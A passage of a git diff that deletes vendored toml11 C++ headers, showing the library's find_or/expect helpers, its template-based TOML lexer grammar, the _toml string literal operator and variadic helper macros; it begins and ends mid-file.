-detail::enable_if_t<std::is_same<T, std::string>::value, std::string>&
-find_or(basic_value<C, M, V>& v, const toml::key& ky, T& opt)
-{
-    if(!v.is_table()) {return opt;}
-    auto& tab = v.as_table();
-    if(tab.count(ky) == 0) {return opt;}
-    return get_or(tab.at(ky), opt);
-}
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<std::is_same<T, std::string>::value, std::string>
-find_or(basic_value<C, M, V>&& v, const toml::key& ky, T&& opt)
-{
-    if(!v.is_table()) {return std::forward<T>(opt);}
-    auto tab = std::move(v).as_table();
-    if(tab.count(ky) == 0) {return std::forward<T>(opt);}
-    return get_or(std::move(tab.at(ky)), std::forward<T>(opt));
-}
-
-// ---------------------------------------------------------------------------
-// string literal (deduced as std::string)
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<
-    detail::is_string_literal<typename std::remove_reference<T>::type>::value,
-    std::string>
-find_or(const basic_value<C, M, V>& v, const toml::key& ky, T&& opt)
-{
-    if(!v.is_table()) {return std::string(opt);}
-    const auto& tab = v.as_table();
-    if(tab.count(ky) == 0) {return std::string(opt);}
-    return get_or(tab.at(ky), std::forward<T>(opt));
-}
-
-// ---------------------------------------------------------------------------
-// others (require type conversion and return type cannot be lvalue reference)
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-detail::enable_if_t<detail::conjunction<
-    // T is not an exact toml type
-    detail::negation<detail::is_exact_toml_type<
-        detail::remove_cvref_t<T>, basic_value<C, M, V>>>,
-    // T is not std::string
-    detail::negation<std::is_same<std::string, detail::remove_cvref_t<T>>>,
-    // T is not a string literal
-    detail::negation<detail::is_string_literal<
-        typename std::remove_reference<T>::type>>
-    >::value, detail::remove_cvref_t<T>>
-find_or(const basic_value<C, M, V>& v, const toml::key& ky, T&& opt)
-{
-    if(!v.is_table()) {return std::forward<T>(opt);}
-    const auto& tab = v.as_table();
-    if(tab.count(ky) == 0) {return std::forward<T>(opt);}
-    return get_or(tab.at(ky), std::forward<T>(opt));
-}
-
-// ---------------------------------------------------------------------------
-// recursive find-or with type deduction (find_or(value, keys, opt))
-
-template<typename Value, typename ... Ks,
-         typename detail::enable_if_t<(sizeof...(Ks) > 1), std::nullptr_t> = nullptr>
-         // here we need to add SFINAE in the template parameter to avoid
-         // infinite recursion in type deduction on gcc
-auto find_or(Value&& v, const toml::key& ky, Ks&& ... keys)
-    -> decltype(find_or(std::forward<Value>(v), ky, detail::last_one(std::forward<Ks>(keys)...)))
-{
-    if(!v.is_table())
-    {
-        return detail::last_one(std::forward<Ks>(keys)...);
-    }
-    auto&& tab = std::forward<Value>(v).as_table();
-    if(tab.count(ky) == 0)
-    {
-        return detail::last_one(std::forward<Ks>(keys)...);
-    }
-    return find_or(std::forward<decltype(tab)>(tab).at(ky), std::forward<Ks>(keys)...);
-}
-
-// ---------------------------------------------------------------------------
-// recursive find_or with explicit type specialization, find_or<int>(value, keys...)
-
-template<typename T, typename Value, typename ... Ks,
-         typename detail::enable_if_t<(sizeof...(Ks) > 1), std::nullptr_t> = nullptr>
-         // here we need to add SFINAE in the template parameter to avoid
-         // infinite recursion in type deduction on gcc
-auto find_or(Value&& v, const toml::key& ky, Ks&& ... keys)
-    -> decltype(find_or<T>(std::forward<Value>(v), ky, detail::last_one(std::forward<Ks>(keys)...)))
-{
-    if(!v.is_table())
-    {
-        return detail::last_one(std::forward<Ks>(keys)...);
-    }
-    auto&& tab = std::forward<Value>(v).as_table();
-    if(tab.count(ky) == 0)
-    {
-        return detail::last_one(std::forward<Ks>(keys)...);
-    }
-    return find_or(std::forward<decltype(tab)>(tab).at(ky), std::forward<Ks>(keys)...);
-}
-
-// ============================================================================
-// expect
-
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-result<T, std::string> expect(const basic_value<C, M, V>& v) noexcept
-{
-    try
-    {
-        return ok(get<T>(v));
-    }
-    catch(const std::exception& e)
-    {
-        return err(e.what());
-    }
-}
-template<typename T, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-result<T, std::string>
-expect(const basic_value<C, M, V>& v, const toml::key& k) noexcept
-{
-    try
-    {
-        return ok(find<T>(v, k));
-    }
-    catch(const std::exception& e)
-    {
-        return err(e.what());
-    }
-}
-
-} // toml
-#endif// TOML11_GET
diff --git a/src/toml11/toml/into.hpp b/src/toml11/toml/into.hpp
deleted file mode 100644
index 74495560e75..00000000000
--- a/src/toml11/toml/into.hpp
+++ /dev/null
@@ -1,19 +0,0 @@
-//     Copyright Toru Niina 2019.
-// Distributed under the MIT License.
-#ifndef TOML11_INTO_HPP
-#define TOML11_INTO_HPP
-
-namespace toml
-{
-
-template<typename T>
-struct into;
-// {
-//     static toml::value into_toml(const T& user_defined_type)
-//     {
-//         // User-defined conversions ...
-//     }
-// };
-
-} // toml
-#endif // TOML11_INTO_HPP
diff --git a/src/toml11/toml/lexer.hpp b/src/toml11/toml/lexer.hpp
deleted file mode 100644
index ea5050b8dd1..00000000000
--- a/src/toml11/toml/lexer.hpp
+++ /dev/null
@@ -1,293 +0,0 @@
-//     Copyright Toru Niina 2017.
-// Distributed under the MIT License.
-#ifndef TOML11_LEXER_HPP
-#define TOML11_LEXER_HPP
-#include <istream>
-#include <sstream>
-#include <stdexcept>
-#include <fstream>
-
-#include "combinator.hpp"
-
-namespace toml
-{
-namespace detail
-{
-
-// these scans contents from current location in a container of char
-// and extract a region that matches their own pattern.
-// to see the implementation of each component, see combinator.hpp.
-
-using lex_wschar  = either<character<' '>, character<'\t'>>;
-using lex_ws      = repeat<lex_wschar, at_least<1>>;
-using lex_newline = either<character<'\n'>,
-                           sequence<character<'\r'>, character<'\n'>>>;
-using lex_lower   = in_range<'a', 'z'>;
-using lex_upper   = in_range<'A', 'Z'>;
-using lex_alpha   = either<lex_lower, lex_upper>;
-using lex_digit   = in_range<'0', '9'>;
-using lex_nonzero = in_range<'1', '9'>;
-using lex_oct_dig = in_range<'0', '7'>;
-using lex_bin_dig = in_range<'0', '1'>;
-using lex_hex_dig = either<lex_digit, in_range<'A', 'F'>, in_range<'a', 'f'>>;
-
-using lex_hex_prefix = sequence<character<'0'>, character<'x'>>;
-using lex_oct_prefix = sequence<character<'0'>, character<'o'>>;
-using lex_bin_prefix = sequence<character<'0'>, character<'b'>>;
-using lex_underscore = character<'_'>;
-using lex_plus       = character<'+'>;
-using lex_minus      = character<'-'>;
-using lex_sign       = either<lex_plus, lex_minus>;
-
-// digit | nonzero 1*(digit | _ digit)
-using lex_unsigned_dec_int = either<sequence<lex_nonzero, repeat<
-    either<lex_digit, sequence<lex_underscore, lex_digit>>, at_least<1>>>,
-    lex_digit>;
-// (+|-)? unsigned_dec_int
-using lex_dec_int = sequence<maybe<lex_sign>, lex_unsigned_dec_int>;
-
-// hex_prefix hex_dig *(hex_dig | _ hex_dig)
-using lex_hex_int = sequence<lex_hex_prefix, sequence<lex_hex_dig, repeat<
-    either<lex_hex_dig, sequence<lex_underscore, lex_hex_dig>>, unlimited>>>;
-// oct_prefix oct_dig *(oct_dig | _ oct_dig)
-using lex_oct_int = sequence<lex_oct_prefix, sequence<lex_oct_dig, repeat<
-    either<lex_oct_dig, sequence<lex_underscore, lex_oct_dig>>, unlimited>>>;
-// bin_prefix bin_dig *(bin_dig | _ bin_dig)
-using lex_bin_int = sequence<lex_bin_prefix, sequence<lex_bin_dig, repeat<
-    either<lex_bin_dig, sequence<lex_underscore, lex_bin_dig>>, unlimited>>>;
-
-// (dec_int | hex_int | oct_int | bin_int)
-using lex_integer = either<lex_bin_int, lex_oct_int, lex_hex_int, lex_dec_int>;
-
-// ===========================================================================
-
-using lex_inf = sequence<character<'i'>, character<'n'>, character<'f'>>;
-using lex_nan = sequence<character<'n'>, character<'a'>, character<'n'>>;
-using lex_special_float = sequence<maybe<lex_sign>, either<lex_inf, lex_nan>>;
-
-using lex_zero_prefixable_int = sequence<lex_digit, repeat<either<lex_digit,
-    sequence<lex_underscore, lex_digit>>, unlimited>>;
-
-using lex_fractional_part = sequence<character<'.'>, lex_zero_prefixable_int>;
-
-using lex_exponent_part   = sequence<either<character<'e'>, character<'E'>>,
-        maybe<lex_sign>, lex_zero_prefixable_int>;
-
-using lex_float = either<lex_special_float,
-      sequence<lex_dec_int, either<lex_exponent_part,
-      sequence<lex_fractional_part, maybe<lex_exponent_part>>>>>;
-
-// ===========================================================================
-
-using lex_true = sequence<character<'t'>, character<'r'>,
-                          character<'u'>, character<'e'>>;
-using lex_false = sequence<character<'f'>, character<'a'>, character<'l'>,
-                           character<'s'>, character<'e'>>;
-using lex_boolean = either<lex_true, lex_false>;
-
-// ===========================================================================
-
-using lex_date_fullyear = repeat<lex_digit, exactly<4>>;
-using lex_date_month    = repeat<lex_digit, exactly<2>>;
-using lex_date_mday     = repeat<lex_digit, exactly<2>>;
-using lex_time_delim    = either<character<'T'>, character<'t'>, character<' '>>;
-using lex_time_hour     = repeat<lex_digit, exactly<2>>;
-using lex_time_minute   = repeat<lex_digit, exactly<2>>;
-using lex_time_second   = repeat<lex_digit, exactly<2>>;
-using lex_time_secfrac  = sequence<character<'.'>,
-                                   repeat<lex_digit, at_least<1>>>;
-
-using lex_time_numoffset = sequence<either<character<'+'>, character<'-'>>,
-                                    sequence<lex_time_hour, character<':'>,
-                                             lex_time_minute>>;
-using lex_time_offset = either<character<'Z'>, character<'z'>,
-                               lex_time_numoffset>;
-
-using lex_partial_time = sequence<lex_time_hour,   character<':'>,
-                                  lex_time_minute, character<':'>,
-                                  lex_time_second, maybe<lex_time_secfrac>>;
-using lex_full_date    = sequence<lex_date_fullyear, character<'-'>,
-                                  lex_date_month,    character<'-'>,
-                                  lex_date_mday>;
-using lex_full_time    = sequence<lex_partial_time, lex_time_offset>;
-
-using lex_offset_date_time = sequence<lex_full_date, lex_time_delim, lex_full_time>;
-using lex_local_date_time  = sequence<lex_full_date, lex_time_delim, lex_partial_time>;
-using lex_local_date       = lex_full_date;
-using lex_local_time       = lex_partial_time;
-
-// ===========================================================================
-
-using lex_quotation_mark  = character<'"'>;
-using lex_basic_unescaped = exclude<either<in_range<0x00, 0x08>, // 0x09 (tab) is allowed
-                                           in_range<0x0A, 0x1F>,
-                                           character<0x22>, character<0x5C>,
-                                           character<0x7F>>>;
-
-using lex_escape          = character<'\\'>;
-using lex_escape_unicode_short = sequence<character<'u'>,
-                                          repeat<lex_hex_dig, exactly<4>>>;
-using lex_escape_unicode_long  = sequence<character<'U'>,
-                                          repeat<lex_hex_dig, exactly<8>>>;
-using lex_escape_seq_char = either<character<'"'>, character<'\\'>,
-                                   character<'b'>, character<'f'>,
-                                   character<'n'>, character<'r'>,
-                                   character<'t'>,
-                                   lex_escape_unicode_short,
-                                   lex_escape_unicode_long
-                                   >;
-using lex_escaped      = sequence<lex_escape, lex_escape_seq_char>;
-using lex_basic_char   = either<lex_basic_unescaped, lex_escaped>;
-using lex_basic_string = sequence<lex_quotation_mark,
-                                  repeat<lex_basic_char, unlimited>,
-                                  lex_quotation_mark>;
-
-// After toml post-v0.5.0, it is explicitly clarified how quotes in ml-strings
-// are allowed to be used.
-// After this, the following strings are *explicitly* allowed.
-// - One or two `"`s in a multi-line basic string is allowed wherever it is.
-// - Three consecutive `"`s in a multi-line basic string is considered as a delimiter.
-// - One or two `"`s can appear just before or after the delimiter.
-// ```toml
-// str4 = """Here are two quotation marks: "". Simple enough."""
-// str5 = """Here are three quotation marks: ""\"."""
-// str6 = """Here are fifteen quotation marks: ""\"""\"""\"""\"""\"."""
-// str7 = """"This," she said, "is just a pointless statement.""""
-// ```
-// In the current implementation (v3.3.0), it is difficult to parse `str7` in
-// the above example. It is difficult to recognize `"` at the end of string body
-// collectly. It will be misunderstood as a `"""` delimiter and an additional,
-// invalid `"`. Like this:
-// ```console
-//   what():  [error] toml::parse_table: invalid line format
-//  --> hoge.toml
-//     |
-//  13 | str7 = """"This," she said, "is just a pointless statement.""""
-//     |                                                               ^- expected newline, but got '"'.
-// ```
-// As a quick workaround for this problem, `lex_ml_basic_string_delim` was
-// split into two, `lex_ml_basic_string_open` and `lex_ml_basic_string_close`.
-// `lex_ml_basic_string_open` allows only `"""`. `_close` allows 3-5 `"`s.
-// In parse_ml_basic_string() function, the trailing `"`s will be attached to
-// the string body.
-//
-using lex_ml_basic_string_delim = repeat<lex_quotation_mark, exactly<3>>;
-using lex_ml_basic_string_open  = lex_ml_basic_string_delim;
-using lex_ml_basic_string_close = sequence<
-        repeat<lex_quotation_mark, exactly<3>>,
-        maybe<lex_quotation_mark>, maybe<lex_quotation_mark>
-    >;
-
-using lex_ml_basic_unescaped    = exclude<either<in_range<0x00, 0x08>, // 0x09 is tab
-                                                 in_range<0x0A, 0x1F>,
-                                                 character<0x5C>, // backslash
-                                                 character<0x7F>, // DEL
-                                                 lex_ml_basic_string_delim>>;
-
-using lex_ml_basic_escaped_newline = sequence<
-        lex_escape, maybe<lex_ws>, lex_newline,
-        repeat<either<lex_ws, lex_newline>, unlimited>>;
-
-using lex_ml_basic_char = either<lex_ml_basic_unescaped, lex_escaped>;
-using lex_ml_basic_body = repeat<either<lex_ml_basic_char, lex_newline,
-                                        lex_ml_basic_escaped_newline>,
-                                 unlimited>;
-using lex_ml_basic_string = sequence<lex_ml_basic_string_open,
-                                     lex_ml_basic_body,
-                                     lex_ml_basic_string_close>;
-
-using lex_literal_char = exclude<either<in_range<0x00, 0x08>, in_range<0x0A, 0x1F>,
-                                        character<0x7F>, character<0x27>>>;
-using lex_apostrophe = character<'\''>;
-using lex_literal_string = sequence<lex_apostrophe,
-                                    repeat<lex_literal_char, unlimited>,
-                                    lex_apostrophe>;
-
-// the same reason as above.
-using lex_ml_literal_string_delim = repeat<lex_apostrophe, exactly<3>>;
-using lex_ml_literal_string_open  = lex_ml_literal_string_delim;
-using lex_ml_literal_string_close = sequence<
-        repeat<lex_apostrophe, exactly<3>>,
-        maybe<lex_apostrophe>, maybe<lex_apostrophe>
-    >;
-
-using lex_ml_literal_char = exclude<either<in_range<0x00, 0x08>,
-                                           in_range<0x0A, 0x1F>,
-                                           character<0x7F>,
-                                           lex_ml_literal_string_delim>>;
-using lex_ml_literal_body = repeat<either<lex_ml_literal_char, lex_newline>,
-                                   unlimited>;
-using lex_ml_literal_string = sequence<lex_ml_literal_string_open,
-                                       lex_ml_literal_body,
-                                       lex_ml_literal_string_close>;
-
-using lex_string = either<lex_ml_basic_string,   lex_basic_string,
-                          lex_ml_literal_string, lex_literal_string>;
-
-// ===========================================================================
-using lex_dot_sep = sequence<maybe<lex_ws>, character<'.'>, maybe<lex_ws>>;
-
-using lex_unquoted_key = repeat<either<lex_alpha, lex_digit,
-                                       character<'-'>, character<'_'>>,
-                                at_least<1>>;
-using lex_quoted_key = either<lex_basic_string, lex_literal_string>;
-using lex_simple_key = either<lex_unquoted_key, lex_quoted_key>;
-using lex_dotted_key = sequence<lex_simple_key,
-                                repeat<sequence<lex_dot_sep, lex_simple_key>,
-                                       at_least<1>
-                                       >
-                                >;
-using lex_key = either<lex_dotted_key, lex_simple_key>;
-
-using lex_keyval_sep = sequence<maybe<lex_ws>,
-                                character<'='>,
-                                maybe<lex_ws>>;
-
-using lex_std_table_open  = character<'['>;
-using lex_std_table_close = character<']'>;
-using lex_std_table       = sequence<lex_std_table_open,
-                                     maybe<lex_ws>,
-                                     lex_key,
-                                     maybe<lex_ws>,
-                                     lex_std_table_close>;
-
-using lex_array_table_open  = sequence<lex_std_table_open,  lex_std_table_open>;
-using lex_array_table_close = sequence<lex_std_table_close, lex_std_table_close>;
-using lex_array_table       = sequence<lex_array_table_open,
-                                       maybe<lex_ws>,
-                                       lex_key,
-                                       maybe<lex_ws>,
-                                       lex_array_table_close>;
-
-using lex_utf8_1byte = in_range<0x00, 0x7F>;
-using lex_utf8_2byte = sequence<
-        in_range<static_cast<char>(0xC2), static_cast<char>(0xDF)>,
-        in_range<static_cast<char>(0x80), static_cast<char>(0xBF)>
-    >;
-using lex_utf8_3byte = sequence<either<
-        sequence<character<static_cast<char>(0xE0)>,                          in_range<static_cast<char>(0xA0), static_cast<char>(0xBF)>>,
-        sequence<in_range <static_cast<char>(0xE1), static_cast<char>(0xEC)>, in_range<static_cast<char>(0x80), static_cast<char>(0xBF)>>,
-        sequence<character<static_cast<char>(0xED)>,                          in_range<static_cast<char>(0x80), static_cast<char>(0x9F)>>,
-        sequence<in_range <static_cast<char>(0xEE), static_cast<char>(0xEF)>, in_range<static_cast<char>(0x80), static_cast<char>(0xBF)>>
-    >, in_range<static_cast<char>(0x80), static_cast<char>(0xBF)>>;
-using lex_utf8_4byte = sequence<either<
-        sequence<character<static_cast<char>(0xF0)>,                          in_range<static_cast<char>(0x90), static_cast<char>(0xBF)>>,
-        sequence<in_range <static_cast<char>(0xF1), static_cast<char>(0xF3)>, in_range<static_cast<char>(0x80), static_cast<char>(0xBF)>>,
-        sequence<character<static_cast<char>(0xF4)>,                          in_range<static_cast<char>(0x80), static_cast<char>(0x8F)>>
-    >, in_range<static_cast<char>(0x80), static_cast<char>(0xBF)>,
-       in_range<static_cast<char>(0x80), static_cast<char>(0xBF)>>;
-using lex_utf8_code = either<
-        lex_utf8_1byte,
-        lex_utf8_2byte,
-        lex_utf8_3byte,
-        lex_utf8_4byte
-    >;
-
-using lex_comment_start_symbol = character<'#'>;
-using lex_non_eol_ascii = either<character<0x09>, in_range<0x20, 0x7E>>;
-using lex_comment = sequence<lex_comment_start_symbol, repeat<either<
-    lex_non_eol_ascii, lex_utf8_2byte, lex_utf8_3byte, lex_utf8_4byte>, unlimited>>;
-
-} // detail
-} // toml
-#endif // TOML_LEXER_HPP
diff --git a/src/toml11/toml/literal.hpp b/src/toml11/toml/literal.hpp
deleted file mode 100644
index 04fbbc13e18..00000000000
--- a/src/toml11/toml/literal.hpp
+++ /dev/null
@@ -1,113 +0,0 @@
-//     Copyright Toru Niina 2019.
-// Distributed under the MIT License.
-#ifndef TOML11_LITERAL_HPP
-#define TOML11_LITERAL_HPP
-#include "parser.hpp"
-
-namespace toml
-{
-inline namespace literals
-{
-inline namespace toml_literals
-{
-
-// implementation
-inline ::toml::basic_value<TOML11_DEFAULT_COMMENT_STRATEGY, std::unordered_map, std::vector>
-literal_internal_impl(::toml::detail::location loc)
-{
-    using value_type = ::toml::basic_value<
-        TOML11_DEFAULT_COMMENT_STRATEGY, std::unordered_map, std::vector>;
-    // if there are some comments or empty lines, skip them.
-    using skip_line = ::toml::detail::repeat<toml::detail::sequence<
-            ::toml::detail::maybe<::toml::detail::lex_ws>,
-            ::toml::detail::maybe<::toml::detail::lex_comment>,
-            ::toml::detail::lex_newline
-        >, ::toml::detail::at_least<1>>;
-    skip_line::invoke(loc);
-
-    // if there are some whitespaces before a value, skip them.
-    using skip_ws = ::toml::detail::repeat<
-        ::toml::detail::lex_ws, ::toml::detail::at_least<1>>;
-    skip_ws::invoke(loc);
-
-    // to distinguish arrays and tables, first check it is a table or not.
-    //
-    // "[1,2,3]"_toml;   // this is an array
-    // "[table]"_toml;   // a table that has an empty table named "table" inside.
-    // "[[1,2,3]]"_toml; // this is an array of arrays
-    // "[[table]]"_toml; // this is a table that has an array of tables inside.
-    //
-    // "[[1]]"_toml;     // this can be both... (currently it becomes a table)
-    // "1 = [{}]"_toml;  // this is a table that has an array of table named 1.
-    // "[[1,]]"_toml;    // this is an array of arrays.
-    // "[[1],]"_toml;    // this also.
-
-    const auto the_front = loc.iter();
-
-    const bool is_table_key = ::toml::detail::lex_std_table::invoke(loc);
-    loc.reset(the_front);
-
-    const bool is_aots_key  = ::toml::detail::lex_array_table::invoke(loc);
-    loc.reset(the_front);
-
-    // If it is neither a table-key or a array-of-table-key, it may be a value.
-    if(!is_table_key && !is_aots_key)
-    {
-        if(auto data = ::toml::detail::parse_value<value_type>(loc))
-        {
-            return data.unwrap();
-        }
-    }
-
-    // Note that still it can be a table, because the literal might be something
-    // like the following.
-    // ```cpp
-    // R"( // c++11 raw string literals
-    //   key = "value"
-    //   int = 42
-    // )"_toml;
-    // ```
-    // It is a valid toml file.
-    // It should be parsed as if we parse a file with this content.
-
-    if(auto data = ::toml::detail::parse_toml_file<value_type>(loc))
-    {
-        return data.unwrap();
-    }
-    else // none of them.
-    {
-        throw ::toml::syntax_error(data.unwrap_err(), source_location(loc));
-    }
-
-}
-
-inline ::toml::basic_value<TOML11_DEFAULT_COMMENT_STRATEGY, std::unordered_map, std::vector>
-operator"" _toml(const char* str, std::size_t len)
-{
-    ::toml::detail::location loc(
-            std::string("TOML literal encoded in a C++ code"),
-            std::vector<char>(str, str + len));
-    // literal length does not include the null character at the end.
-    return literal_internal_impl(std::move(loc));
-}
-
-// value of __cplusplus in C++2a/20 mode is not fixed yet along compilers.
-// So here we use the feature test macro for `char8_t` itself.
-#if defined(__cpp_char8_t) && __cpp_char8_t >= 201811L
-// value of u8"" literal has been changed from char to char8_t and char8_t is
-// NOT compatible to char
-inline ::toml::basic_value<TOML11_DEFAULT_COMMENT_STRATEGY, std::unordered_map, std::vector>
-operator"" _toml(const char8_t* str, std::size_t len)
-{
-    ::toml::detail::location loc(
-            std::string("TOML literal encoded in a C++ code"),
-            std::vector<char>(reinterpret_cast<const char*>(str),
-                              reinterpret_cast<const char*>(str) + len));
-    return literal_internal_impl(std::move(loc));
-}
-#endif
-
-} // toml_literals
-} // literals
-} // toml
-#endif//TOML11_LITERAL_HPP
diff --git a/src/toml11/toml/macros.hpp b/src/toml11/toml/macros.hpp
deleted file mode 100644
index e8f91aecd44..00000000000
--- a/src/toml11/toml/macros.hpp
+++ /dev/null
@@ -1,121 +0,0 @@
-#ifndef TOML11_MACROS_HPP
-#define TOML11_MACROS_HPP
-
-#define TOML11_STRINGIZE_AUX(x) #x
-#define TOML11_STRINGIZE(x)     TOML11_STRINGIZE_AUX(x)
-
-#define TOML11_CONCATENATE_AUX(x, y) x##y
-#define TOML11_CONCATENATE(x, y)     TOML11_CONCATENATE_AUX(x, y)
-
-// ============================================================================
-// TOML11_DEFINE_CONVERSION_NON_INTRUSIVE
-
-#ifndef TOML11_WITHOUT_DEFINE_NON_INTRUSIVE
-
-// ----------------------------------------------------------------------------
-// TOML11_ARGS_SIZE
-
-#define TOML11_INDEX_RSEQ() \
-    32, 31, 30, 29, 28, 27, 26, 25, 24, 23, 22, 21, 20, 19, 18, 17, \
-    16, 15, 14, 13, 12, 11, 10,  9,  8,  7,  6,  5,  4,  3,  2,  1, 0
-#define TOML11_ARGS_SIZE_IMPL(\
-    ARG1,  ARG2,  ARG3,  ARG4,  ARG5,  ARG6,  ARG7,  ARG8,  ARG9,  ARG10, \
-    ARG11, ARG12, ARG13, ARG14, ARG15, ARG16, ARG17, ARG18, ARG19, ARG20, \
-    ARG21, ARG22, ARG23, ARG24, ARG25, ARG26, ARG27, ARG28, ARG29, ARG30, \
-    ARG31, ARG32, N, ...) N
-#define TOML11_ARGS_SIZE_AUX(...) TOML11_ARGS_SIZE_IMPL(__VA_ARGS__)
-#define TOML11_ARGS_SIZE(...) TOML11_ARGS_SIZE_AUX(__VA_ARGS__, TOML11_INDEX_RSEQ())
-
-// ----------------------------------------------------------------------------
-// TOML11_FOR_EACH_VA_ARGS
-
-#define TOML11_FOR_EACH_VA_ARGS_AUX_1( FUNCTOR, ARG1     ) FUNCTOR(ARG1)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_2( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_1( FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_3( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_2( FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_4( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_3( FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_5( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_4( FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_6( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_5( FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_7( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_6( FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_8( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_7( FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_9( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_8( FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_10(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_9( FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_11(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_10(FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_12(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_11(FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_13(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_12(FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_14(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_13(FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_15(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_14(FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_16(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_15(FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_17(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_16(FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_18(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_17(FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_19(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_18(FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_20(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_19(FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_21(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_20(FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_22(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_21(FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_23(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_22(FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_24(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_23(FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_25(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_24(FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_26(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_25(FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_27(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_26(FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_28(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_27(FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_29(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_28(FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_30(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_29(FUNCTOR, __VA_ARGS__)
-#define TOML11_FOR_EACH_VA_ARGS_AUX_31(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_30(FUNCTOR, __VA_ARGS__)
